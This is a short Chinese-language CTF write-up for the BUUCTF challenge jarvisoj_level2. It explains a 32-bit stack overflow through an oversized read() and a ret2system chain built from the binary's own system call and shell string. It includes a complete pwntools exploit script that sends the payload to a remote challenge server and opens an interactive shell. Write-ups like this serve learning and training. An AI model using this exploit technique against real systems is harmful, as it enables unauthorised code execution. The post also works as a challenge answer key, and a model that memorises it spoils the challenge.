BUUCTF-PWN-jarvisoj_level2

这道题对我来说有点新奇,它利用了程序中自带的system程序,和字符/bin/bash构造了一个后门函数让我们看看是怎么做的吧
首先和程序进行交互:

发现是一个读取输入相关的程序,我们对其进行分析,首先用checksec检测到了NX保护,但是没关系。我们再用IDA进行程序的分析:

我们看到了这里的read函数,由于它读取的数据大于,缓冲区可以存储的数据,我们可以利用它实现栈溢出攻击
但是程序中并没有为我们构造后门函数,但是我们分别发现了系统调用命令,和hint,我们可以用他们实现构造后门函数
我的构造思路大致是这样的:

  • 栈溢出覆盖原函数返回地址
  • 添加system的返回地址
  • 调用hint命令/bin/bash
    由此我们可以构造下面的攻击脚本:
from pwn import *
sys_addr = 0x804845C
bin_addr = 0x804A024
payload = b'a'*(0x88+4)+p32(sys_addr)+p32(bin_addr)
p = remote("node5.buuoj.cn",25717)
p.recvuntil('t:\n')  #当服务器输出以下内容时,再发送攻击脚本
p.sendline(payload)
p.interactive()
posted @ 2025-02-17 10:29  Ylin07  阅读(28)  评论(0)    收藏  举报